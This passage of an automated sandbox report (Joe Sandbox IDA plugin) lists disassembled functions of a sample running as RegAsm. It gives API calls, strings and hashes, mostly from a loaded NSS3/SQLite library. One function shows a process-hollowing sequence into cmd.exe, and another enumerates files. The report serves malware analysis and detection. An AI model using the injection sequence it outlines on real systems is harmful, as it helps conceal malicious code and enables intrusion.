PR_CallOnce.NSS3(6C3824C0,6C277590), ref: 6C237104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C237117
SECOID_Init.NSS3 ref: 6C237128
PORT_Alloc_Util.NSS3(00000057), ref: 6C23714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C23717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C2371A9
PR_NotifyAllCondVar.NSS3 ref: 6C2371CF
PR_Unlock.NSS3 ref: 6C2371DD
free.MOZGLUE(?), ref: 6C2371EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C237208
free.MOZGLUE(00000000), ref: 6C237221
free.MOZGLUE(00000001), ref: 6C237235
TlsGetValue.KERNEL32 ref: 6C23724A
EnterCriticalSection.KERNEL32(?), ref: 6C23725E
PR_NotifyCondVar.NSS3 ref: 6C237273
PR_Unlock.NSS3 ref: 6C237281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C237291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C2372B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C2372D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C2372E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C237301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C237310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C237335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C237344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C237363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C237372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C370148,,defaultModDB,internalKeySlot), ref: 6C2374CC
free.MOZGLUE(00000000), ref: 6C237513
free.MOZGLUE(00000000), ref: 6C23751B
free.MOZGLUE(00000000), ref: 6C237528
free.MOZGLUE(00000000), ref: 6C23753C
free.MOZGLUE(00000000), ref: 6C237550
free.MOZGLUE(00000000), ref: 6C237561
free.MOZGLUE(00000000), ref: 6C237572
free.MOZGLUE(00000000), ref: 6C237583
free.MOZGLUE(00000000), ref: 6C237594
free.MOZGLUE(00000000), ref: 6C2375A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C2375BD
free.MOZGLUE(00000000), ref: 6C2375C8
free.MOZGLUE(00000000), ref: 6C2375F1
PR_NewLock.NSS3 ref: 6C237636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C237686
PR_NewLock.NSS3 ref: 6C2376A2

Part of subcall function 6C2E98D0: calloc.MOZGLUE(00000001,00000084,6C210936,00000001,?,6C21102C), ref: 6C2E98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C2376B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C237707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C23771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C237731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C23774A
DeleteCriticalSection.KERNEL32(?), ref: 6C237770
free.MOZGLUE(?), ref: 6C237779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C23779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C2377AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C2377C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C2377DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C237821
PORT_Alloc_Util.NSS3(?), ref: 6C237837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C23785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C23786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C2378AC
free.MOZGLUE(00000000), ref: 6C2378BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C2378F3
free.MOZGLUE(00000000), ref: 6C2378FC
free.MOZGLUE(00000000), ref: 6C23791C

Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107AD
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107CD
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107D6
Part of subcall function 6C2107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C1A204A), ref: 6C2107E4
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,6C1A204A), ref: 6C210864
Part of subcall function 6C2107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C210880
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,6C1A204A), ref: 6C2108CB
Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(?,?,6C1A204A), ref: 6C2108D7
Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(?,?,6C1A204A), ref: 6C2108FB

Strings

dll, xrefs: 6C23788E
,defaultModDB,internalKeySlot, xrefs: 6C23748D, 6C2374AA
sql:, xrefs: 6C2376FE
kbi., xrefs: 6C237886
Spac, xrefs: 6C237389
dbm:, xrefs: 6C237716
rdb:, xrefs: 6C237744
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C2374C7
NSS Internal Module, xrefs: 6C2374A2, 6C2374C6
extern:, xrefs: 6C23772B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: c749b354096bd70e79cf61d97b9cd3d30a3f04bd6b2140b90ff6620aa2fc854b
Instruction ID: ea93195f0b6a63218cd5b785bcb2c608a0b8bece4ef6703dff721be5755e380d
Opcode Fuzzy Hash: c749b354096bd70e79cf61d97b9cd3d30a3f04bd6b2140b90ff6620aa2fc854b
Instruction Fuzzy Hash: F75214F1E0132ADBEF118F64DE48B9A7BB8AF06709F145024FD0DA6A41E731D954CB92

Function 6C246D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C34A8EC,0000006C), ref: 6C246DC6
memcpy.VCRUNTIME140(?,6C34A958,0000006C), ref: 6C246DDB
memcpy.VCRUNTIME140(?,6C34A9C4,00000078), ref: 6C246DF1
memcpy.VCRUNTIME140(?,6C34AA3C,0000006C), ref: 6C246E06
memcpy.VCRUNTIME140(?,6C34AAA8,00000060), ref: 6C246E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C246E38

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C246E76
TlsGetValue.KERNEL32 ref: 6C24726F
EnterCriticalSection.KERNEL32(?), ref: 6C247283

Strings

!, xrefs: 6C247123

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: bbe3447ad31ec26b4428638e0be48ab737d6e5bb1389d8b9ca7ddd2509b41a52
Instruction ID: 50b755d84fdd1971d64bb3313cfa72fc0a6577ed500a239183a74f0bd0adf156
Opcode Fuzzy Hash: bbe3447ad31ec26b4428638e0be48ab737d6e5bb1389d8b9ca7ddd2509b41a52
Instruction Fuzzy Hash: BB72A0B5D052199FDF64DF28CC88B9ABBB5AF48304F1481A9EC1DA7701E7319A84CF91

Function 6C28AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C28ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C28ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C28ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C28AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C28ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C28ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C28ADF0

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C28B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C28B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C28B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C28B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C28B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C28B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C28B40C

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 5c6a3c39e22bac6177952ee75328a29e9a94b705bd01039f3d8550c1d0fbda6f
Instruction ID: 267bc50969760793160bc6720f881c11d5457a0b31b22f34dbe887d30d6302c1
Opcode Fuzzy Hash: 5c6a3c39e22bac6177952ee75328a29e9a94b705bd01039f3d8550c1d0fbda6f
Instruction Fuzzy Hash: 2F228B71905305ABE710CF14CC85B9A77A1AF8430CF24896CFC585B7E2EB72E859CB96

Function 6C20ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C20ED38

Part of subcall function 6C1A4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1A4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C20EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C20EFE4

Part of subcall function 6C2CDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C1A5001,?,00000003,00000000), ref: 6C2CDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C20F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C20F129
sqlite3_mprintf.NSS3(optimize), ref: 6C20F1D1
sqlite3_free.NSS3(?), ref: 6C20F368

Strings

snippet, xrefs: 6C20EF05, 6C20EF37, 6C20EF7C
fts3tokenize, xrefs: 6C20F30F
matchinfo, xrefs: 6C20F04F, 6C20F082, 6C20F0C2, 6C20F0F2, 6C20F124, 6C20F169
porter, xrefs: 6C20ED97
fts4, xrefs: 6C20F2AD
unicode61, xrefs: 6C20EDB5
optimize, xrefs: 6C20F199, 6C20F1CC, 6C20F211
offsets, xrefs: 6C20EFAF, 6C20EFDF, 6C20F01F
fts4aux, xrefs: 6C20ECF9
simple, xrefs: 6C20ED79
fts3, xrefs: 6C20F247
fts3_tokenizer, xrefs: 6C20EE1A, 6C20EEA8

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: a52f65ed549bfa459d959a082e009375f4c8bad835c2b89a4db2b4b3c637d71c
Instruction ID: 8410da54cbb245e1f5ec968a707ca2c2329a87c98be18e02ec6bcb621b36a9c9
Opcode Fuzzy Hash: a52f65ed549bfa459d959a082e009375f4c8bad835c2b89a4db2b4b3c637d71c
Instruction Fuzzy Hash: DF0244B5B443464FE7049F31988576B72BABBC531CF14853EEC5A87B00EB74E8468B92

Function 00415B0B Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 179stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
HeapAlloc.KERNEL32(00000000), ref: 00415B37
wsprintfA.USER32 ref: 00415B50
FindFirstFileA.KERNEL32(?,?), ref: 00415B67
StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
wsprintfA.USER32 ref: 00415BC9

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 0041580D: _memset.LIBCMT ref: 00415845
Part of subcall function 0041580D: _memset.LIBCMT ref: 00415856
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00415881
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041589F
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 004158B3
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 004158C6
Part of subcall function 0041580D: StrStrA.SHLWAPI(00000000), ref: 0041596A

FindNextFileA.KERNEL32(?,?), ref: 00415CD8
FindClose.KERNEL32(?), ref: 00415CEC
lstrcatA.KERNEL32(?), ref: 00415D1A
lstrcatA.KERNEL32(?), ref: 00415D2D
lstrlenA.KERNEL32(?), ref: 00415D39
lstrlenA.KERNEL32(?), ref: 00415D56

Strings

%s\%s, xrefs: 00415BC3
%s\*, xrefs: 00415B4A
K_A, xrefs: 00415DE8

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$Findlstrlen$FileHeap_memsetwsprintf$AllocCloseFirstNextProcessSystemTime
String ID: %s\%s$%s\*$K_A
API String ID: 2347508687-1624741228
Opcode ID: 2d45aad56b69257e22c84493828d34e31e8b8a1878497380ca564db6f63f63f9
Instruction ID: f1f80ab8573884d5547ab2b117a2a7bfd804ed3709ed9bfee1ddc7f274e11282
Opcode Fuzzy Hash: 2d45aad56b69257e22c84493828d34e31e8b8a1878497380ca564db6f63f63f9
Instruction Fuzzy Hash: 6F713EB19002289BDF20EF60DD49ACD77B9AF49315F0004EAA609B3151EB76AFC5CF59

Function 0040F54A Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 130threadinjectionmemoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040F57C
CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,004365A7,00000000,00000000,00000001,00000004,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0040F5A0
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0040F5B2
GetThreadContext.KERNEL32(?,00000000), ref: 0040F5C4
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F5E2
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 0040F5F8
ResumeThread.KERNEL32(?), ref: 0040F608
WriteProcessMemory.KERNEL32(?,00000000,a-A,?,00000000), ref: 0040F627
WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0040F65D
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F684
SetThreadContext.KERNEL32(?,00000000), ref: 0040F696
ResumeThread.KERNEL32(?), ref: 0040F69F

Strings

C:\Windows\System32\cmd.exe, xrefs: 0040F59B
a-A, xrefs: 0040F550, 0040F620

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$MemoryThread$Write$AllocContextResumeVirtual$CreateRead_memset
String ID: C:\Windows\System32\cmd.exe$a-A
API String ID: 3621800378-431432405
Opcode ID: e1ccbe8c928e2f1c21e5e7053cc7bb29076fa0b0443f7d3298dfd20d4594a4fa
Instruction ID: 0d24e25234c3a3ad141f65fc29eb95852bfeeab9a63bd67a8dcfe51b88e854c0
Opcode Fuzzy Hash: e1ccbe8c928e2f1c21e5e7053cc7bb29076fa0b0443f7d3298dfd20d4594a4fa
Instruction Fuzzy Hash: B5413872A00208AFEB11DFA4DC85FAAB7B9FF48705F144475FA01E6161E776AD448B24

Function 6C21EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C21EF63

Part of subcall function 6C2287D0: PORT_NewArena_Util.NSS3(00000800,6C21EF74,00000000), ref: 6C2287E8
Part of subcall function 6C2287D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C21EF74,00000000), ref: 6C2287FD
Part of subcall function 6C2287D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C22884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C21F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C21F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C21F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C21F374
PL_strcasecmp.NSS3(6C362FD4,?), ref: 6C21F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C21F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C21F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C21F67D
CERT_DestroyName.NSS3(?), ref: 6C21F68B

Part of subcall function 6C228320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C228338
Part of subcall function 6C228320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C228364
Part of subcall function 6C228320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C22838E
Part of subcall function 6C228320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C2283A5
Part of subcall function 6C228320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C2283E3

Part of subcall function 6C2284C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C2284D9
Part of subcall function 6C2284C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C228528

Part of subcall function 6C228900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C21F599,?,00000000), ref: 6C228955

Strings

*, xrefs: 6C21F3C6
", xrefs: 6C21F21B
oid., xrefs: 6C21F2CF

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 73bb639603cb8c487966749216291d323d1946a28ab2e2c30c6abd2ac843136e
Instruction ID: b937418972d31998d3380fd07dd3f79145534ccb803c962c8116f21c83aad7d3
Opcode Fuzzy Hash: 73bb639603cb8c487966749216291d323d1946a28ab2e2c30c6abd2ac843136e
Instruction Fuzzy Hash: 0E22177160C3494FD714CE28C49076BB7E6AB85329F184A2EEEB5C7F95E7319C058B82

Function 6C1AECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C1AED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C1AEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C1AEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C1AEF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C1AF483
database corruption, xrefs: 6C1AF48D
%s at line %d of [%.10s], xrefs: 6C1AF492

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: c48ca5a13fe426ad9cbbccb072cbbf80ba6baf304d8d6a1521541e33842609e6
Instruction ID: 0818684aec56fe52ff6a774a0f764da40e4fe7b7af810943facdf69d6aab9f11
Opcode Fuzzy Hash: c48ca5a13fe426ad9cbbccb072cbbf80ba6baf304d8d6a1521541e33842609e6
Instruction Fuzzy Hash: 11622378A04345CFEB04CFA5C480B9ABBB1BF59318F19419DD8656BB92D335E887CB90

